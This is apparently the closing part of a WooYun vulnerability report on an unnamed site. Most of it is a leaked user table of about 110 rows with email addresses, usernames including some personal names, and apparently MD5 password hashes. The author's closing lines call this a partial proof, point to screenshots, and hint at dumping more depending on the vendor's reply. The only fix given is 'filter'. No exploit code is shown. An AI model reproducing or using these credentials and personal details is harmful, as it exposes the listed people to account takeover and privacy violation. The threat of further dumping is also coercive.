| 0 | jihi1234@126.com | jihi1234 | bce215f672d61df55dd837661f663195 |
| 0 | tzhao@learchangan.com | zxbz | 9d1a4567cb2318ebabee9a608624d4de |
| 0 | mountangang@yahoo.com.cn | mountan | 81e5e43e38ff38fd1f43ffd2b15c3de6 |
| 0 | cqhfmsht@163.com | 飘无踪影 | 1fd96cef10e66633c076ce4e0986b889 |
| 0 | anku89829@126.com | anku89829 | f69559ba365b766363909906d66e4564 |
| 0 | szwx168@yahoo.com.cn | szwx168 | f407c5a7c025d8b32c8354999f91a76e |
| 0 | qufo2004@163.com | qufo | cbe799219a7842e23a6dce512d56f396 |
| 0 | huran1013@163.com | huran | da36a08b4ea428ad8687ffb4ec8cdbe3 |
| 0 | lyjleonine@sina.com | leonine | 033f67eb66fa4eb6097950c33323535b |
| 0 | rt_car@yahoo.com.cn | zzz12345 | fc5ce8dc6214f5d13c6f808dbba4160d |
| 0 | gdstchh@21cn.com | gdstchh | ecfbcbfa666d4ff15d1bc1c5fff4993d |
| 0 | zsw555@yeah.net | zsw342622 | a6887719ab0ba9ef915cc64d04b3d319 |
| 0 | bevel@tom.com | heroman | 004ea1fed3dd2d2fecfbeb7f0776991e |
| 0 | public@dytz.net | wtotv | 3732f57b2aba0af0fb97a5dfc7446633 |
| 0 | camel_luo@sohu.com | camel | 0071029650f8c4b7ed7c31d117819f28 |
| 0 | 344190@qq.com | zsy90342 | 801ae11f6a87bb23b11b45c218365820 |
| 0 | xyzl@21cn.com | ynxyzl | 69c37a998806ad2036ce971bb6ab0110 |
| 0 | jia_2h@hotmail.com | jianghh2 | e90e0373bab0ea9abfead3602333e2f1 |
| 0 | hapeter@hotmail.com | hycjppp | 56b5b6b1850c5544b513cc9227d6e596 |
| 0 | lonten@163.com | 冰海 | 25b3ab6708e45f0d04cc348586fe0664 |
| 0 | chinagbb@163.com | chinagbb | 126f4f97acbcdcece1565fbcbdc9e260 |
| 0 | lfpxq@126.com | lfpxq | dcea60ba424335dde67b03ed4a9f2db5 |
| 0 | jackey_lin0@yahoo.com.cn | jackey_007 | fc916268f531578121df9115389dc40e |
| 0 | mm0105@126.com | ctf007 | 32fac113e24280f010352565f21d5260 |
| 0 | kbfh@163.com | kbfh | 1903d839a9ff26d40b0bfb5ef5555aca |
| 0 | zhiqiangzhou@etang.com | xiaopang | a935e63f60c699900cef73a579e6c43b |
| 0 | bh_lyr@163.com | lyrgcy | d3d2088a11486b87143f50bb5df82fdb |
| 0 | zqzhou@utt.com.cn | 周志强 | a31250fa1d107161a603c714fb869dee |
| 0 | huangyisheng00@21cn.com | huangyi8 | cbd6825ceaa68955e54dacd9e384798f |
| 0 | happyxuli2005@21cn.com | happyxuli | ae1c5b7142300fd2d55e338d526fe8e8 |
| 0 | lh@hnsee.com | 搜寻者 | 86e8e51529d544c08c909ff7aafadcff |
| 0 | qchu@utt.com.cn | 褚强 | 2c75925d6384db22a364f540919480fc |
| 0 | xyan@sina.com | xayanyan | 16e487cf8e1698f441e19cf15e3b7a11 |
| 0 | zhaoqm@cdut.edu.cn | zmrbak | bade92476964895d2b260f325b349ae0 |
| 0 | shenszy1977@sina.com | 刘晓东 | 679ae710f4ab6516ae32eb89348d5acf |
| 0 | dudan19992@163.com | shashou | 76634e2c14fd728021ca7469edaef41b |
| 0 | lli@whiterock.com | q1a1z1 | d8334d1c209324abb961368154db8405 |
| 0 | TOPTRY2000@126.COM | TOPTRY2000 | df18e16c93269476a7e3c07147ba2ec8 |
| 0 | gxhearter@163.net | gxhearter | a1fef3792857696302c37e7715591eff |
| 0 | <blank> | 王冬梅 | e3c6c6ac7d7e08168ba89e8daf53afe2 |
| 0 | yuyeboy1216@163.com | wld1216 | d976814fb6d762eab26d572462ba6d83 |
| 0 | hgxlove@126.com | 褐浣熊 | 37a7f304e436f57619b768c9a9fe48ca |
| 0 | zjm@dzfarm.com | jsyczjm | b81841c5a176b076a50596e33d30e698 |
| 0 | yueye19800@163.com | yueye19800 | 4719cb699fb1547c083edc24e28d1cc5 |
| 0 | sdfasd@163.com | tuopu001 | 815d1436e062a54880d2c935051c18a2 |
| 0 | 36792592@qq.com | zyxz | 31b24384542a0e7e50233f0217b2e028 |
| 0 | cyl0096@126.com | cyl770428 | c9f61bb73f4978a87272c5a90b78d91a |
| 0 | feng_2733@163.com | feng_2733 | 4cb7ff9d01a6b4b9998be6f858df2e24 |
| 0 | liuhouji@126.com | liuhouji | 6a5089bd7af4a5e4da8e29cbe9e55bd6 |
| 0 | cymcendy@163.com | starcym | 50d24e3de0df948fa50189f1e21bbdcf |
| 0 | sdzbylq@k8k8.net | slylq | e52e32002981027dcdc58189131d4f95 |
| 0 | zshud@21cn.com | zshud | 3154b902d41f38fee5bec4cdc26c0eb3 |
| 0 | paul9609@citiz.net | paul9609 | 9f9a67d1274f2ec737a450d439a4b9c0 |
| 0 | niubug@etang.com | niubug | 416abd846b2ec9652090d45d98c855cc |
| 0 | wu_xiaolian2@163.com | wuxiaol | 6deacd1ac4b51959d05142a579a5ed75 |
| 0 | xrzcg@sohu.com | qqh | ca7178c13d8f33ad293ad899a5ee55f8 |
| 0 | duanhewangzhe@163.com | sky8271 | 9ca1f5fd258f7eefdd461625aa306470 |
| 0 | lyjahla@163.com | lykahla | d2ba8107dbf28b96b11b0775f19e1c59 |
| 0 | cdycdy@tom.com | cdycdy | 45cbc2a02464c286d43733746b55c1b4 |
| 0 | anngi@163.com | anngi | e3ebf2e19de430a1e14c72e5bd482b3b |
| 0 | sandyfifa.007@163.com | 春风送佳音 | 0e43fe661cadd09882a14a803bcdfaf2 |
| 0 | ZLOU@163.COM | zlou | 708cfdda0a7fca2d73ac44e0858427e8 |
| 0 | cxy495@tom.com | wwwcxy | 12aed18c5ce7b07d6c2fb60226b9e95b |
| 0 | killlp5@tom.com | coollp5 | c61d1581a84d00656fbeb38c332b442c |
| 0 | bolly_zhang1@163.com | Timm | 75e16d1a94d95bdd50890ebef0bd15b6 |
| 0 | nnjsd@tom.com | 雨露 | 8d1994eee54f298859d1460c6f08c83e |
| 0 | han526@163.com | 信号灯 | 599f9ebdcd6e82fd897ab3c4b5118d3c |
| 0 | smiley_cn@hotmail.com | smiley | c48ad4cd5706609b092331a1df279bf7 |
| 0 | eptw@163.com | eptw | 34a39f1df6fbb7bb16d25541f2e27853 |
| 0 | free2_citiz@hotmail.com | free2 | d5692f47d44b23911e8db28226a43f64 |
| 0 | ludeping00@eyou.com | ludeping00 | b1e0ddf27152d322ac63bd13b60d277a |
| 0 | syzcd34567@21cn.com | syzcd34567 | 6d96bea3aae246538de61b9890983be3 |
| 0 | 2041613@163.com | 黑暗修罗王 | 72b90a3f4471a2675e570eb8c7e04968 |
| 0 | bsmslengyu@163.com | bsmslengyu | e962d08575e9e138c285ad21a4cf83ce |
| 0 | qinaidd@tom.com | qinaidd | d8a9305980457503dc1d550966cc9aa3 |
| 0 | nxhfsl@163.com | nxhhlmdir | ceb58a1d043ef0fc03291aaaaa9c2121 |
| 0 | dianjiwangba@sina.com | dianjiwangba | cfce8895b59ffe3571c80e01eb178aeb |
| 0 | jg1555@163.com | tgh999 | a07b67c05afb777ad124431c61fd56a8 |
| 0 | dz_902@163.com | dz_902 | 151494f8058704d8220d9687ba5bcd24 |
| 0 | ymhkjx@21cn.com | cenqd | 35e89f1a7b942d6167aac5c3d8155abf |
| 0 | runny01@163.com | qqwang | 3c01d56722f7b3f249149158e16b7ee1 |
| 0 | aniu117@tom.com | aniu117 | 1a617db01e91b90d2f6ef2420ff694fa |
| 0 | mrhsb@163.com | mrhsb | 02d3a88616a8606dab2578729e95d14c |
| 0 | ysc@vip.hl.cn | ysc | 506e05a53cea1ab75bcb8767c68914bb |
| 0 | fifaden@sina.com | fifaden | fec1533c1c610635b9f1efc6805ebf15 |
| 0 | chenziwei830305@126.com | chenziwei | a4b437ca3f228d00f6541ea0db44b659 |
| 0 | zhzl058@163.com | zhzl058 | a80f7d928a03feb52fb06a43e702b052 |
| 0 | syhcjsyh@avl.com.cn | syhcjsyh | 75e127a0ecd6a27f8823a6dd1d1992d8 |
| 0 | yongjiufeng123@163.com | huazi704 | 3757d646b241575318253ce7501890df |
| 0 | zyangc@163.com | mstsc | 7beb8c89bcd21e61c9faf207890bd2ee |
| 0 | 47501@qq.com | 47501 | 843d52901741119c729efbbab6df091e |
| 0 | limaoqi123@163.com | limaoqi | b8829b90d1a478e2cb0dedcdeb8866e0 |
| 0 | adminliu@126.com | badboy | aba950d0b6a1b2438ca62ed4087c3c51 |
| 0 | jim1919@126.com | jim1919 | f8c1d7ff8bda99c697fe22b23d700ef9 |
| 0 | tan87888@ms5.hinet.net | tan87888 | 962e001d58f57e730a0141c230947b91 |
| 0 | nonoto@yeah.net | nonoto | aafedc7d3ab331e242ce35106ada5e14 |
| 0 | zhr1975@163.com | zhr1975 | 1255af8c937488d2db24afbd5834a849 |
| 0 | mildbb@163.com | mildboy | da503f7b5a4c241253eacaf94efa5245 |
| 0 | dcyane2002@163.com | dcyane | 22d0022d148877f9b3ce1c45967c682e |
| 0 | keray@bolu.com.cn | keray | 1028366de61d639194479e599734f2c5 |
| 0 | kksjz@sina.com | reiser | 024d33bb15ae557af397bc8a2bb371f1 |
| 0 | lugqiang@163.com | lugqiang | 0321746f5db9f3b362870fe09c510990 |
| 0 | jiulongtongxun@sina.com | jltx | 4d76e7e7bd5de11f05239a7864450ff8 |
| 0 | www.nt.com@163.com | 2005wuge | aeb468da2be08f821a8b8dac334ce6aa |
| 0 | cascorp@163.com | cascade | 952e5d396a2cf64d27fd1eb3c7f61bf3 |
| 0 | chuangjianluo@163.com | 240972981 | bed7220e0f669d7e78d92a965a227eef |
| 0 | zwsgd@21cn.com | zwsgd | ba0eca6ad91b30fb04289687e2447a0a |
| 0 | 267hua@163.com | 0duai | dceb1160743f9fb24549475dc27988ac |
| 0 | 11122233@123.com | 奶奶个熊猫 | a4132a345097a3d20b65c24ae39cedd6 |
| 0 | w3c@21cn.com | hanx | 91efcf60c26b695e3452405a23d6f841 |
| 0 | liu1202@163.com | now1202 | e47abee8ac47ae6206a35dd6e8128a1e |
| 0 | tzmht@yeah.net | tzkw | 62dad7ac33c0b09427e5c98b66e9d44b |
| 0 | cavtc@126.com | jarno | fcdc1a5397e143c9a4006c4940889626 |
+---------+-------------------------------+-----------------+----------------------------------+


数据量大报一部分证明!

漏洞证明:

1.png


2.png


当然,可做的还有更多!产商的回复决定我是否进一步脱裤!

修复方案:

过滤

版权声明:转载请注明来源 xxsec@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论